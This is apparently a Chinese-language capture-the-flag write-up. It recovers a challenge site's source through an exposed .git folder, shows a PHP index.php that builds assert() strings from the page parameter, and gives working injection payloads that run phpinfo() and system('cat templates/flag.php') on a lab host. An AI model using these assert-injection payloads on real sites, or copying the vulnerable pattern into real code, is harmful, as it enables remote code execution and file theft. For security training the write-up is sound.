几个页面点开看一看,有个Git,自然想到Git源码泄露
扫一下,还真有
然后用GitHack来下载一下源码。
OK!有个flag.php 就先查看这个文件
在index.php 中有这样的代码。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
可以利用assert进行命令执行。
就和SQL注入拼接SQL语句一样,我们也可以来拼接PHP语句。
payload:http://111.200.241.244:49226/?page=')or phpinfo();//
执行了。
http://111.200.241.244:49226/?page=')or system('cat templates/flag.php');//